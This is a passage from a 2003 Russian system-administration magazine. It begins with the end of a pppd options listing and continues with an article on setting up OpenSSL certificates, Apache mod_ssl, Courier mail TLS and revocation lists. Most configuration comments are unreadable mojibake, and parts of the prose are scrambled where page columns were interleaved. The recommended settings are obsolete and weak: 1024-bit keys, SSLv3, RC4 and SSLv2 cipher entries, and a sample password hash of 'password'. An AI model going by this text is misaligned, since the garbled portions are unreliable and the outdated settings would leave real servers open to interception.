10). #lcp-max-failure <n> # Óñòàíîâèòü èíòåðâàë ðåñòàðòà IPCP # (ïàóçà âîçîáíîâëåíèÿ ïåðåäà÷è) â <n> # ñåêóíä (ïî óìîë÷àíèþ – 3).

#ipcp-restart <n> # Óñòàíîâèòü ìàêñèìàëüíîå ÷èñëî # ïåðåäà÷ IPCP terminate-request â <n> # (ïî óìîë÷àíèþ – 3). #ipcp-max-terminate <n> # Óñòàíîâèòü ìàêñèìàëüíîå ÷èñëî # ïåðåäà÷ IPCP configure-request â <n> # (ïî óìîë÷àíèþ – 10). #ipcp-max-configure <n> # Óñòàíîâèòü ìàêñèìàëüíîå ÷èñëî IPCP # configure-NAKs, âîçâðàùåííûõ ïåðåä # íà÷àëîì îòïðàâêè âìåñòî configure# Rejects, â <n> (ïî óìîë÷àíèþ – 10). #ipcp-max-failure <n> # Óñòàíîâèòü èíòåðâàë ðåñòàðòà PAP # (ïàóçà âîçîáíîâëåíèÿ ïåðåäà÷è) â <n> # ñåêóíä (ïî óìîë÷àíèþ – 3). #pap-restart <n> # Óñòàíîâèòü ìàêñèìàëüíîå ÷èñëî # ïåðåäà÷ PAP authenticate-request â # <n> (ïî óìîë÷àíèþ – 10). #pap-max-authreq <n> # Óñòàíîâèòü èíòåðâàë ðåñòàðòà CHAP # (ïàóçà âîçîáíîâëåíèÿ ïåðåäà÷ # challenges) â <n> ñåêóíä # (ïî óìîë÷àíèþ – 3). #chap-restart <n> # Óñòàíîâèòü ìàêñèìàëüíîå ÷èñëî # ïåðåäà÷ CHAP challenge â <n> # (ïî óìîë÷àíèþ – 10). #chap-max-challenge # Ñ ýòîé îïöèåé pppd áóäåò re-challenge # óäàëåííóþ ñòîðîíó êàæäûå <n> ñåêóíä. #chap-interval <n> # Ñ ýòîé îïöèåé pppd áóäåò ïðèíèìàòü # ïðåäëîæåíèå peer î íàøåì ëîêàëüíîì # IP-àäðåñå, äàæå åñëè ëîêàëüíûé # IP-àäðåñ áûë óêàçàí â îïöèÿõ. #ipcp-accept-local # Ñ ýòîé îïöèåé pppd áóäåò ïðèíèìàòü # ïðåäëîæåíèå peer î åãî (óäàëåííîì) # IP-àäðåñå, äàæå åñëè óäàëåííûé # IP-àäðåñ áûë óêàçàí â îïöèÿõ. #ipcp-accept-remote #EOF

31


администрирование

ПРАКТИКА O PEN SSL ВСЕВОЛОД СТАХОВ

OpenSSL применяется во множестве сетевых серверов. В данной статье я бы хотел рассказать о работе с ssl апача, постфикса и курьера. Соответственно происходит шифрация трафика http-, smtp- и imap(pop3)-протоколов. При использовании шифрации ssl обычно меняется порт, чтобы клиент мог корректно определить использование безопасного соединения. Для начала я расскажу об использовании ssl в апаче. Апач может работать с ssl через модуль mod_ssl, который может быть скачан с www.apache-ssl.org. Для компиляции апача с данным модулем выполняем следующее: $ cd /usr/src/apache_1.3.x/src $ SSL_BASE=/usr/src/mod_ssl/ ./configure — ... –enablemodule=ssl

После успешной компиляции необходимо получить сертификат организации. Тут есть два пути: первый – это создать self-signed сертификат, второй – получить сертификат от trusted root CA. Скорее всего, второй вариант будет небесплатный, например, на www.thawte.com предлагают продать сертификат www-сервера за 160$ сроком действия на год. С другой стороны, такой способ обеспечивает полную безопасность клиента, т.к. он будет знать, что сертификат действителен. Обычно у браузеров есть набор trusted root CA, и когда браузер получает сертификат, подписанный одним из trusted ca, то он может корректно проверить подпись и решить на её основании о действительности сертификата www-сервера. Если же браузер получает selfsigned сертификат, то он спрашивает у пользователя, можно ли доверять этому сертификату, т.к. в этом случае клиент не может точно определить, откуда к нему пришёл этот сертификат и не может проверить его подпись, т.к. она не входит в его trusted root CA. В качестве альтернативного варианта, если вы работаете с несколькими крупными клиентами, можно посоветовать принести каждому клиенту свой сертификат (например, на дискетке или компакте) и вручную добавить его в trusted root CA клиента. Для рабо-

32

ты через ssl в локальной сети обычно используются selfsigned сертификаты, что естественно. Сертификат сервера обычно подписывается сертификатом организации. Итак, сгенерируем секретный ключ RSA и self-signed сертификат организации: dd if=/dev/urandom of=/etc/openssl/.rnd -count 64 openssl genrsa -rand /etc/openssl/.rnd -des3 -out /etc/ openssl/org.key openssl req -new -key /etc/openssl/org.key -config \ /etc/openssl/org.cnf -out /etc/openssl/ org.csr openssl x509 -req -signkey /etc/openssl/org.key -in /etc/ openssl/org.csr \ -extfile /etc/openssl/org.cnf -out /etc/openssl/ org.crt -days 365

Пример конфига сертификата организации (CA-сертификат, поэтому определяем некоторые расширения, которые указываем программе x509): [ req ] default_bits distinguished_name RANDFILE extensions [ req_DN ] countryName countryName_default countryName_min countryName_max stateOrProvinceName stateOrProvinceName_default localityName localityName_default 0.organizationName 0.organizationName_default organizationalUnitName organizationalUnitName_default commonName commonName_max commonName_default

= = = =

1024 req_DN ca.rnd v3_req

= "1. Country Name (2 letter code)" = RU = 2 = 2 = "2. State or Province Name (full name)" = region = "3. Locality Name (eg, city)" = city = "4. Organization Name (eg, company)" = organization = "5. Organizational Unit Name (eg, section)" = Certificate Authority = "6. Common Name (eg, CA name) " = 64 = ""


администрирование emailAddress

= "7. Email Address

(eg,cert@organization.ru)" emailAddress_max = emailAddress_default = [ v3_req ] subjectAltName = basicConstraints = nsComment =

40 ""

email:copy CA:true "CA certificate of our organization" = sslCA

nsCertType

Теперь создаём сертификат сервера: dd if=/dev/urandom of=/etc/openssl/.rnd count=64 openssl genrsa -rand /etc/openssl/.rnd -out /etc/openssl/ httpd.key openssl req -new -key /etc/openssl/httpd.key -config / etc/openssl/httpd.cnf \ -out /etc/openssl/httpd.csr

И подписываем его сертификатом организации: openssl x509 -req -signkey /etc/openssl/org.key -CA /etc/ openssl/org.crt \ -extfile /etc/openssl/httpd.conf -out /etc/ openssl/httpd.crt \ -days 365

Опять же здесь нужны расширения для серверного сертификата, ещё учтите, что лучше задавать CN серверного сертификата как имя сервера: extensions [ v3_req ] basicConstraints nsComment nsCertType

= v3_req = CA:false = "Apache server certificate" = server

И ещё одна тонкость: при создании секретного ключа сервера его лучше не шифровать. Хотя если это необходимо в соображениях безопасности, то можно и зашифровать, но при этом апач при запуске будет спрашивать пароль секретного ключа сервера (на экране при этом ничего отображаться не будет, поэтому если вы долго ждёте запуска апача при включенном ssl и зашифрованном ключе, попробуйте ввести пароль). После генерации сертификата начинаем настройку апача. Имеет смысл при использовании ssl создать отдельный файл конфигурации, который будет описывать параметры ssl. Также обычно создаётся виртуальный сервер ssl, который висит на 443 порту (https), в отличие от стандартных виртуальных серверов, ssl-сервер должен однозначно соответствовать паре IP-адрес : порт (т.е. на один IP-адрес и порт можно повесить только один sslвиртуальный сервер). Для начала включим ssl-модуль в апаче. После этого все настройки ssl полезно окружить условием <IfModule mod_ssl.c></IfModule>: httpd.conf # Çàãðóæàåì ìîäóëü ssl (îí ìîæåò íàõîäèòüñÿ â modules èëè # extramodules). Ó÷òèòå, åñëè âû èñïîëüçóåòå ìîäóëü mod_php, # òî åãî íåîáõîäèìî äîáàâèòü ÏÎÑËÅ ìîäóëÿ ssl, èíà÷å # ïîñëåäñòâèÿ ìîãóò áûòü ïå÷àëüíû (core dumpted). LoadModule ssl_module modules/libssl.so AddModule mod_ssl.c # Äîáàâëÿåì íåêîòîðûå MIME-òèïû. AddType application/x-x509-ca-cert .crt AddType application/x-pkcs7-crl .crl AddType application/x-pkcs12-cert .p12

№2(3), февраль 2003

# Ñëóøàåì íà ïîðòó 443(https). Listen 443 # Îïðåäåëÿåì ñïîñîá çàïðîñà ïàðîëÿ ê ñåêðåòíîìó êëþ÷ó # ñåðâåðà êàê built-in, èëè ìîæíî îïðåäåëèòü ïóòü ê # âíåøíåìó ñêðèïòó, íî â áîëüøèíñòâå ñëó÷àåâ äîñòàòî÷íî # built-in-ìåòîäà. SSLPassPhraseDialog builtin # Îïðåäåëÿåì êåøèðîâàíèå äàííûõ ssl â ôàéëå äàííûõ # (none äëÿ îòêëþ÷åíèÿ êåøèðîâàíèÿ) è òàéìàóò îáíîâëåíèÿ # äàííûõ â êåøå. Ìîæíî èñïîëüçîâàòü ïðè óêàçàíèè ôàéëà # êåøà ñïåöèàëüíûé ôîðìàò shm (shm:/path/file [size]), # êîòîðûé îáåñïå÷èâàåò âûñîêóþ ïðîèçâîäèòåëüíîñòü è # ðàáîòàåò ÷åðåç ìåõàíèçì shared memory. SSLSessionCache dbm:logs/ssl_scache #SSLSessionCache none SSLSessionCacheTimeout 300 # Íàñòðàèâàåì ãåíåðàòîð ñëó÷àéíûõ ÷èñåë, óêàçûâàåì ìåòîä # äëÿ ðàíäîìèçàöèè. Óêàçûâàåòñÿ äâà èñòî÷íèêà ðàíäîìèçàöèè: # íà÷àëüíûé (startup) è èíèöèàëèçèðóþùèéñÿ ïðè ïðèñîåäèíåíèè # êëèåíòà (connect). Âîçìîæíûå çíà÷åíèÿ äëÿ ýòîãî ïàðàìåòðà: # builtin – âñòðîåííûé èñòî÷íèê ðàíäîìèçàöèè, # file:èìÿ_ôàéëà – ÷èòàþòñÿ äàííûå èç ôàéëà, # file:èìÿ_ôàéëà ÷èñëî_áàéò – ÷èòàåòñÿ òîëüêî îïðåäåë¸ííîå # ÷èñëî áàéò èç ôàéëà (ïîëåçíî äëÿ /dev/random # è /dev/urandom) SSLRandomSeed startup file:/dev/random 512 SSLRandomSeed connect file:/dev/random 512 #SSLRandomSeed startup builtin #SSLRandomSeed connect builtin #SSLRandomSeed startup file:/dev/urandom 512 #SSLRandomSeed connect file:/dev/urandom 512 # Íàñòðàèâàåì ëîãè ssl. Óêàçûâàåì ôàéë è óðîâåíü çàïèñè # â ëîã, âîçìîæíûå çíà÷åíèÿ óðîâíÿ ïî âîçðàñòàþùåìó ÷èñëó # ðåãèñòðèðóåìûõ äàííûõ: none, error, warn, info, trace, # debug. SSLLog logs/ssl_engine_log SSLLogLevel info

После настройки самого апача обычно приступают к настройке виртуального ssl-сервера. Обычно основной сервер оставляют висеть на 80 порту, а на главной странице размещают ссылку на переход в безопасный режим (или ставят редирект, но это уж дело вкуса или политики безопасности). vhosts.conf <IfModule mod_ssl.c> # Îïðåäåëÿåì âèðòóàëüíûé ñåðâåð, âèñÿùèé íà òîì æå # IP-àäðåñå, ÷òî è îñíîâíîé, íî ñëóøàþùèé íà 443 ïîðòó. <VirtualHost _default_:443> # Îñíîâíûå íàñòðîéêè âèðòóàëüíîãî ñåðâåðà. DocumentRoot /var/www/html ServerName www.test.ru ServerAdmin admin@test.ru ErrorLog logs/ssl-error_log TransferLog logs/ssl-access_log # Ñëåäóþùàÿ äèðåêòèâà âêëþ÷àåò ssl äëÿ äàííîãî # âèðòóàëüíîãî ñåðâåðà. SSLEngine on # Ñïèñîê äîñòóïíûõ àëãîðèòìîâ øèôðîâàíèÿ. Ôîðìàò ñïèñêà # òàêîé æå, êàê è ó êîìàíäû openssl ciphers (MEDIUM, HIGH, # NULL, ýëåìåíòû ðàçäåëÿþòñÿ :, èñêëþ÷åíèå ýëåìåíòà # îñóùåñòâëÿåòñÿ çíàêîì !). SSLCipherSuite HIGH:MEDIUM # Ñåðòèôèêàò ñåðâåðà. Äàííûé ñåðòèôèêàò äîëæåí áûòü â # ôîðìàòå pem. SSLCertificateFile /etc/openssl/httpd.crt # Ñåêðåòíûé êëþ÷ ñåðâåðà, êîòîðûì îí áóäåò ðàñøèôðîâûâàòü # äàííûå êëèåíòà. Åñëè êëþ÷ çàøèôðîâàí, òî ïðè çàïóñêå # àïà÷à áóäåò ñïðàøèâàòüñÿ ïàðîëü, êàê îïðåäåëåíî # â îïöèè SSLPassPhraseDialog. SSLCertificateKeyFile /etc/openssl/httpd.key # # # # # #

Ñëåäóþùèå äèðåêòèâû îïèñûâàþò CA-ñåðòèôèêàòû. Åñëè óêàçàí ïàðàìåòð SSLCACertificatePath, òî CA-ñåðòèôèêàòû çàãðóæàþòñÿ èç óêàçàííîãî êàòàëîãà (â ýòîì êàòàëîãå äîëæíû òàêæå ðàçìåùàòüñÿ ñèìâîëè÷åñêèå ññûëêè ñ èìåíåì hash-value.N, ïðè äîáàâëåíèè íîâîãî ôàéëà ñåðòèôèêàòà â äàííûé êàòàëîã íåîáõîäèìî âîñïîëüçîâàòüñÿ ñïåöèàëüíûì

33


администрирование # makefile, èäóùèì âìåñòå ñ ìîäóëåì). Åñëè óêàçàí ïàðàìåòð # SSLCACertificateFile, òî âñå ÑÀ-ñåðòèôèêàòû õðàíÿòñÿ # â îäíîì pem-ôàéëå (ñåðòèôèêàòû ïðîñòî çàïèñûâàþòñÿ îäèí # çà äðóãèì â äàííûé ôàéë áåç âñÿêèõ ðàçäåëèòåòëåé, # ò.ê. ëþáîé ñåðòèôèêàò èìååò ìàðêåð íà÷àëà è êîíöà) #SSLCACertificatePath @@ServerRoot@@/conf/ssl/ssl.crt SSLCACertificateFile /etc/openssl/org.crt # Ñïèñîê ñåðòèôèêàòîâ, êîòîðûå ñ÷èòàþòñÿ # íåäåéñòâèòåëüíûìè (certificate revocation list - CRL) # ïî íåêèì ïðè÷èíàì: ïî ïðîèñøåñòâèè ñðîêà äåéñòâèÿ, # ïî ïîòåðå ñåêðåòíîãî êëþ÷à è.ò.ä. Ýòî ïîíÿòèå òðåáóåò # íåêîòîðîãî îáúÿñíåíèÿ, ïîýòîìó ïîñëå äàííîãî ïðèìåðà # ÿ ðàññêàæó (íåñêîëüêî çàïîçäàëî) î ñîçäàíèè òàêîãî ñïèñêà. # Ñèíòàêñèñ ýòèõ ïàðìåòðîâ àíàëîãè÷åí ïðåäûäóùèì #SSLCARevocationPath @@ServerRoot@@/conf/ssl/ssl.crl SSLCARevocationFile /etc/openssl/ssl.crl # Àóòåíòèôèêàöèÿ êëèåíòà íà îñíîâàíèè åãî ñåðòèôèêàòà, # âûäàííîãî CA (ñì. îïöèþ SSLCACertificate).  ãëîáàëüíîé # êîíôèãóðàöèè ÿ óñòàíîâèë ýòó îïöèþ â none, íî ýòà îïöèÿ # ìîæåò áûòü ïåðåîïðåäåëåíà â êîíêðåòíîé <Directory> # èëè <Location>, êàê è ñäåëàíî â äàííîì ïðèìåðå # SSLVerifyClient none. Òåïåðü îïðåäåëèì íåêèé ðàçäåë, # äîñòóï â êîòîðûé ïðåäîñòàâèì òîëüêî ñîòðóäíèêàì # îïðåäåë¸ííûõ îòäåëîâ. Êëèåíò äîëæåí áóäåò ïîñëàòü ñâîé # ñåðòèôèêàò, êîòîðûé ïîäïèñàí îäíèì èç CA-ñåðòèôèêàòîâ. <Location /secure> # Òðåáóåì îò êëèåíòà ïîñûëêè ñâîåãî ñåðòèôèêàòà äëÿ # âûïîëíåíèÿ àóòåíòèôèêàöèè. SSLVerifyClient require # ×èñëî øàãîâ îò ñåðòèôèêàòà êëèåíòà äî CA-ñåðòèôèêàòà # â èåðàðõèè ñåðòèôèêàòîâ. SSLVerifyDepth 5 # Ïðîâåðêà ñåðòèôèêàòà êëèåíòà. Äëÿ íà÷àëà íåîáõîäèìî, # ÷òîáû ñåðòèôèêàò êëèåíòà áûë ïîäïèñàí îäíèì èç CA# ñåðòèôèêàòîâ, òîãäà ñåðâåð ìîæåò áûòü óâåðåí, ÷òî # ñåðòèôèêàò êëèåíòà ÿâëÿåòñÿ äåéñòâèòåëüíûì, êðîìå ýòîãî, # ïîëó÷åííûé ñåðòèôèêàò íå äîëæåí íàõîäèòüñÿ â ñïèñêå # íåäåéñòâèòåëüíûõ (crl) ñåðòèôèêàòîâ. Ñèíòàêñèñ äàííîé # êîìàíäû ñ ïåðâîãî âçãëÿäà ìîæåò ïîêàçàòüñÿ íåñêîëüêî # ñëîæíûì, íî îí èñïîëüçóåò ðåãóëÿðíûå âûðàæåíèÿ, ïîäîáíûå # ïåðëîâñêèì, è ëîãè÷åñêèå îïåðàòîðû (and, or, !). #  êà÷åñòâå ïåðåìåííûõ ìîãóò èñïîëüçîâàòüñÿ êàê ñòàíäàðòíûå # ïåðåìåííûå, âðîäå REMOTE_ADDR, TIME, òàê è ïåðåìåííûå # ssl. Ñðåäè ïîñëåäíèõ íàèáîëåå ïîëåçíû ñëåäóþùèå: # SSL_CIPHER, SSL_CLIENT_S_DN_(ïàðàìåòðû DN êëèåíòà, # âðîäå O, OU, Ñ è.ò.ä.), SSL_CLIENT_I_DN_(ïàðàìåòðû # DN ïîñòàâùèêà ñåðòèôèêàòà). SSLRequire %{SSL_CIPHER} !~ m/^(EXP|NULL)-/ \ and %{SSL_CLIENT_S_DN_O} eq "organization" \ and %{SSL_CLIENT_S_DN_OU} in {"Sysopka", "CA", "BigBosses"} </Location> # Îïðåäåëÿåì îïöèè ssl (îíè ìîãóò áûòü ïåðåîïðåäåëåíû â # <Directory>): # FakeBasicAuth: # Äàííàÿ îïöèÿ ãîâîðèò àïà÷ó, ÷òî ìîæíî èñïîëüçîâàòü # àóòåíòèôèêàöèþ íà îñíîâå ñåðòèôèêàòà, íî íàñòðîéêè # ôèëüòðàöèè ñåðòèôèêàòà ëåæàò â ôàéëå .htpasswd, # êîòîðûé âûãëÿäèò ïðèìåðíî ñëåäóþùèì îáðàçîì: #/C=RU/L=city/O=organization/OU=sysopka CN=admin:xxj31ZMTZzkVA #/C=RU/L=city/O=organization/OU=bosses/ CN=my_boss:xxj31ZMTZzkVA #/C=US/L=New York/O=Microsoft/OU=head/ CN=Billy:xxj31ZMTZzkVA # Ãäå ñèìâîëû "xxj31ZMTZzkVA" – ýòî des-âàðèàíò ñëîâà # password (íåîáõîäèìîå óñëîâèå), íà íåêîòîðûõ ñèñòåìàõ # íóæíî çäåñü ïîñòàâèòü md5-õåø ýòîãî ñëîâà #$1$OXLyS...$Owx8s2/m9/gfkcRVXzgoE/. # ExportCertData: # Äàííûé ïàðàìåòð óñòàíàâëèâàåò, ÷òî CGI-ñêðèïòàì áóäóò # ïåðåäàâàòüñÿ ïåðåìåííûå SSL_SERVER_CERT (âñåãäà), # SSL_CLIENT_CERT (åñëè êëèåíò ïîñëàë ñâîé ñåðòèôèêàò), # êîòîðûå ñîäåðæàò ñåðòèôèêàòû ñåðâåðà è êëèåíòà # ñîîòâåòñòâåííî â ôîðìàòå pem. # StrictRequire: # Ýòà îïöèÿ ïðèìåíÿåòñÿ ñîâìåñòíî ñ îïöèåé satisfy è # îáåñïå÷èâàåò çàïðåò äîñòóïà êëèåíòà, åñëè åãî # ñåðòèôèêàò íå ñîîòâåòñòâóåò RequireSSL # OptRenegotiate: # Äàííàÿ îïöèÿ ïðèìåíÿåòñÿ òîëüêî â ïàðàìåòðàõ <Directory> # è çàñòàâëÿåò ssl çàíîâî èíèöèàëèçèðîâàòü ñîåäèíåíèå # ñ êëèåíòîì #SSLOptions +FakeBasicAuth +ExportCertData +CompatEnvVars #+StrictRequire

34

# Ïåðåìåííûå, óñòàíàâëèâàåìûå äëÿ íåêîòîðûõ áðàóçåðîâ. # Âîîáùå-òî âñå áðàóçåðû äîëæíû ïîëó÷èòü ïåðåä çàâåðøåíèåì # ssl-ñåàíñà ñîîáùåíèå îò ñåðâåðà, ÷òî ñîîòâåòñòâóåò # ñòàíäàðòó, íî íåêîòîðûå (îñîáåííî çäåñü êðàñóåòñÿ îñëèê) # î÷åíü íåêîððåêòíî (ìÿãêî ãîâîðÿ) çàâåðøàþò ðàáîòó ñ ssl, # ïîýòîìó ïðèõîäèòñÿ óñòàíàâëèâàòü ïåðåìåííóþ # ssl-unclean-shutdown, êîòîðàÿ ãîâîðèò î òîì, ÷òî ïðè # çàâåðøåíèè ñîåäèíåíèÿ ñåðâåð íå äîëæåí íè ïîñûëàòü # ñîîáùåíèå, íè ïðèíèìàòü ïîäòâåðæäåíèå îò áðàóçåðà # (÷òî òîæå ìîæåò äåëàòüñÿ íåêîòîðûìè áðàóçåðàìè). Êðîìå # ýòîãî, îñëèê åù¸ â ñëó÷àå ssl-ñîåäèíåíèÿ ïëîõî ðàáîòàåò # ñ keepalive-ñîîáùåíèÿìè (âûçûâàÿ ðàçðûâ ssl-ñîåäèíåíèÿ), # ïîýòîìó ïðèõîäèòñÿ óñòàíàâëèâàòü åù¸ ïåðåìåííóþ # nokeepalive. Ó îñëà òàêæå åñòü åù¸ ïàðà íåäîñòàòêîâ: # îí íå ðàáîòàåò ñ àäðåñîì âðîäå https://192.168.1.1 # è íåêîòîðûå åãî âåðñèè íå ïîääåðæèâàþò ðàáîòó ñ sslv3. # À âîîáùå ïðè âûáîðå àëãîðèòìîâ øèôðîâàíèÿ – # SSLCipherSuite – ïðîñìîòðèòå ñïèñîê àëãîðèòìîâ, # ïîääåðæèâàåìûõ êëèåíòñêèì áðàóçåðîì è, èñõîäÿ èç ýòîãî, # âûáèðàéòå íóæíîå (+) è îòñåêàéòå íåíóæíîå (-). SetEnvIf User-Agent ".*MSIE.*" nokeepalive ssl-uncleanshutdown # Óñòàíàâëèâàåì ñïåöèàëüíûé ëîã, âêëþ÷àåì îïðåäåëåíèå # ïðîòîêîëà è àëãîðèòìà øèôðîâàíèÿ. CustomLog logs/ssl_request_log \ "%t %h %{SSL_PROTOCOL}x %{SSL_CIPHER}x \"%r\" %b" # Ïåðåçàïóñêàåì àïà÷, åñëè ssl îêàçàëñÿ íåâêëþ÷åííûì. RewriteEngine on RewriteCond %{HTTPS} !=on RewriteOptions inherit </VirtualHost> </IfModule>

Для проверки работы сервера ssl обычно применяется утилита openssl s_client, которая эмулирует поведение ssl клиента (фактически, ssl telnet): openssl s_client -connect ww.test.ru:443 [-cert file] [debug] [-ciphers list]

Клиент может передать серверу сертификат (аутнентификация по сертификату), указав опцию -cert, опция -debug включает в вывод дополнительную отладочную информацию, включая hex-дампы каждого пакета. Для проверки апача можно также применить свой любимый браузер (мой любимый – lynx): lynx https://www.test.ru

При этом в лог записывается примерно следующее (если сервер настроен правильно): [10/Nov/2002 17:41:34 04803] [info] Connection to child 0 established (server localhost.localdomain:443, client 127.0.0.1) [10/Nov/2002 17:41:34 04803] [info] Seeding PRNG with 23177 bytes of entropy [10/Nov/2002 17:41:35 04803] [info] Connection: Client IP: 127.0.0.1, Protocol: TLSv1, Cipher: EDH-RSA-DES-CBC3-SHA (168/168 bits) [10/Nov/2002 17:41:35 04803] [info] Initial (No.1) HTTPS request received for child 0 (server localhost.localdomain:443) [10/Nov/2002 17:41:35 04803] [info] Connection to child 0 closed with standard shutdown (server localhost.localdomain:443, client 127.0.0.1)

Итак, могу привести парочку примеров применения sslсоединений: это любые процедуры конфиденциальной регистрации;


администрирование возможность организации защищённого веб-интер- может сильно увеличить сложность работы, если вам нефейса для почты;

обходимо раздавать сертификаты лично).

(это несоизмеримо безопаснее, чем парольная аутентификация!) и подмены IP-адреса; для организации собственного CA.

ся использование courier в качестве pop3- и imap-серверов, а в качестве MTA использовать postfix. Итак, начнём с курьера. Курьер поставляется с грамотным конфигом, поэтому у меня всё заработало сразу же безо всяких проблем с настройкой. Единственное, что необходимо учесть, так это то, что сертфикат почтового сервера должен быть подписан CA-сертификатом (по умолчанию при сборке курьера генерится self-signed сертификат, но я бы рекомендовал создать сертификат, как это было сделано в апаче или воспользовавшись моим скриптиком CA, только необходимо изменить настройки extensions). Кроме этого, сертификат организации, которым был подписан ключ сервера, должен находиться среди доверенных сертификатов почтового клиента. Я всё же расскажу о некоторых полезных опциях конфигурации couriera (imapd и pop3d):

работа с клиентами данной фирмы; Теперь настало время обратиться к защите почтовых для защиты некоторых мест от посторонних взглядов серверов. Одним из наиболее удобных вариантов являет

Вообще агентства по выдаче персональных сертификатов работают по следующей схеме: пользователь заходит на сайт и просит сертификат, после чего устанавливается безопасное соединение, и клиент заполняет форму регистрации (включая пароль секретного ключа), после этого создаётся запрос на сертификацию (на сервере), и на основе сертификата организации создаётся сертификат клиента. После этого обычно сертификат клиента перегоняется в pkcs#12 формат и записывается на диск. Пользователю же по мылу отправляется ссылка на полученный сертификат. Этот несчастный клиент проходит по ссылке, вводит своё имя и пароль (в безопасном режиме – https) и перенаправляется к своему сертификату. Браузер, получив сертификат, проверяет его подпись и после запроса помещает в хранилище личных сертификатов. Я здесь не буду приводить готового решения, т.к. это дело очень творческое и создать вышеописанное не представляет труда, только надо немного поработать (написать скриптик, оформить всё это безобразие, организовать мыльную связь и.т. д.). А теперь расскажу об одном непременном атрибуте каждого СА: создания списка недействительных сертификатов (чтобы не переполнять текст, буду далее применять обозначение CRL). По истечении определённого срока сертификат становится недействительным. Если это сертфикат сотрудника, то после его увольнения сертификат также необходимо считать недействительным (а если уволили вас?). Если секретный ключ сертификата стал достоянием общественности, то и его вносят в CRL. Для управления CRL можно использовать утилиту openssl ca. Для начала создаём crl: openssl ca -gencrl -out crl.pem

Затем просто отменяем нужные ( точнее говоря, ненужные) сертификаты командой: openssl ca -revoke bad_cert.pem

После каждого применения revoke необходимо обновлять CRL командой openssl -gencrl. Для применения внутри СА необходимо дать клиентам возможность отменять их сертификаты, для этого необходимо предоставить им доступ к CRL. Если же вы используете аутентификацию через сертификаты, то пользователям необходимо понять, как опасно потерять секретный ключ. Ещё способ давать пароль для секретного ключа с помощью /dev/random, закодированного base64, и сообщать пароль клиенту только лично (можно также поиграться со временем действия сертификата клиента, но зачастую это

№2(3), февраль 2003

imapd-ssl # Çàïóñêàåì ðàáîòó ìåõàíèçìà ssl äëÿ imap-ñåðâåðà.  ôàéëàõ # esmtpd-ssl, pop3d-ssl ìîæíî òàêæå óñòàíàâëèâàòü ýòó îïöèþ # äëÿ êîíêðåòíîãî ñåðâåðà (íàïðèìåð, ESMTPDSSLSTART...). IMAPDSSLSTART=YES # Ïîðò äëÿ áåçîïàñíîãî ñîåäèíåíèÿ (ïî óìîë÷àíèþ ïîðò íå # îïðåäåë¸í, íî îáû÷íî èñïîëüçóþòñÿ ñëåäóþùèå çíà÷åíèÿ: # IMAPS - 993, POPS - 995 è SMTPS - 465). Àäðåñ çàäàåòñÿ # êàê IP-àäðåñ. SSLPORT=993 SSLADDRESS=0 # PID-ôàéë äëÿ ssl ñåðâåðà. SSLPIDFILE=/var/run/courier/imapd[pop3d, esmtpd]-ssl.pid # Èñïîëüçîâàíèå óëó÷øåííîãî ïðîòîêîëà tls, ïî óìîë÷àíèþ # âûêëþ÷åíî, íî ó ìåíÿ âñ¸ ðàáîòàëî íîðìàëüíî ñ âêëþ÷åíèåì # ðàñøèðåíèé tls. TLS èñïîëüçóåòñÿ, åñëè íåîáõîäèìî # èñïîëüçîâàòü îñîáûé ssl ïîðò, ò.å. ïîçâîëÿåò èñïîëüçîâàòü # îñîáûé ïîðò äëÿ ðàáîòû ssl. IMAPDSTARTTLS=YES # Çàñòàâëÿåò ðàáîòàòü ìåõàíèçì tls â ëþáûõ ñëó÷àÿõ # (ïî óìîë÷àíèþ). IMAP_TLS_REQUIRED=0

Далее идут дополнительные настройки работы ssl. Обычно они используются при включенной опции STARTTLS. # Âñïîìîãàòåëüíàÿ ïðîãðàììà, èñïîëüçóþùàÿñÿ ïðè ðàáîòå # ñ ssl. Íà ýòàïå êîìïèëÿöèè îíà ñîçäà¸ò ïðîñòîé ñåðòèôèêàò # (êîòîðûé, âïðî÷åì, ó ìåíÿ íå ðàáîòàë, ïîýòîìó ÿ ñðàçó æå # ñîçäàë íóæíûé ìíå ïðàâèëüíûé ñåðòèôèêàò), à çàòåì, ïî # èäåå, äîëæíà èñïîëüçîâàòüñÿ äëÿ àóòåíòèôèêàöèè êëèåíòîâ, # íî, êàê ÿ ïîíÿë, ðàáîòàòü ïîäîáíûì îáðàçîì ýòî åù¸ íå # ðàáîòàåò (íå çàáûâàéòå, ÷òî êóðüåð - ýòî äîâîëüíî ìîëîäîé # ïðîäóêò), íî âñ¸ æå óêàæåì ýòó îïöèþ íà âñÿêèé ñëó÷àé... COURIERTLS=/usr/bin/couriertls # Îïðåäåëåíèå âåðñèè èñïîëüçóåìîãî ïðîòîêîëà ssl: # SSL2 - SSLv2 # SSL3 - SSLv3 # TLS1 - TLS1 TLS_PROTOCOL=SSL3 # Äàííàÿ îïöèÿ ðàññìàòðèâàåòñÿ êàê ìåõàíèçì ðàáîòû ssl, # åñëè îïðåäåë¸í ïàðàìåòð STARTTLS=YES. TLS_STARTTLS_PROTOCOL=TLS1 # Ñïèñîê àëãîðèòìîâ øèôðàöèè. Ìîæíî íå òðîãàòü äàííûé # ïàðàìåòð è îñòàâèòü åãî ïî óìîë÷àíèþ – è òàê ñðàáîòàåò

35


администрирование # TLS_CIPHER_LIST="ALL:!ADH:RC4+RSA:+SSLv2:@STRENGTH" # Ñåðòèôèêàò ñåðâåðà (pem-ôîðìàò). Âíóòðè äàííîãî ôàéëà # äîëæíû ñîäåðæàòüñÿ ñåðòèôèêàò è ÍÅÇÀØÈÔÐÎÂÀÍÍÛÉ ñåêðåòíûé # êëþ÷, ïîýòîìó äîñòóï ê äàííîìó ôàéëó íà ÷òåíèå äîëæåí áûòü # ïðåäîñòàâëåí òîëüêî ïîëüçîâàòåëþ courier. TLS_CERTFILE=/etc/openssl/imapd.pem # # # # # # # #

Ñëåäóþùèé ïàðàìåòð îïðåäåëÿåò ïóòü ê êàòàëîãó (èëè ôàéëó), ñîäåðæàùåìó "äîâåðåííûå" ñåðòèôèêàòû (åñëè ÿ ïðàâèëüíî ïîíÿë, òî ýòî ÑÀ-ñåòðèôèêàòû, íî çäåñü ÿ ìîãó îøèáàòüñÿ). Ñåðâåð èñïîëüçóåò äàííûå ñåðòèôèêàòû, åñëè îïöèÿ TLS_VERIFYPEER óñòàíîâëåíà â PEER èëè REQUIREPEER. ×åñòíî ãîâîðÿ, ñ ýòèì ÿ ðàçîáðàëñÿ íå äî êîíöà, äà è ñàìè ðàçðàáîò÷èêè êóðüåðà íå î÷åíü-òî ñîâåòóþò èñïîëüçîâàòü äàííóþ îïöèþ ïî ïðè÷èíå TLS_TRUSTCERTS=/etc/openssl/ca.pem.

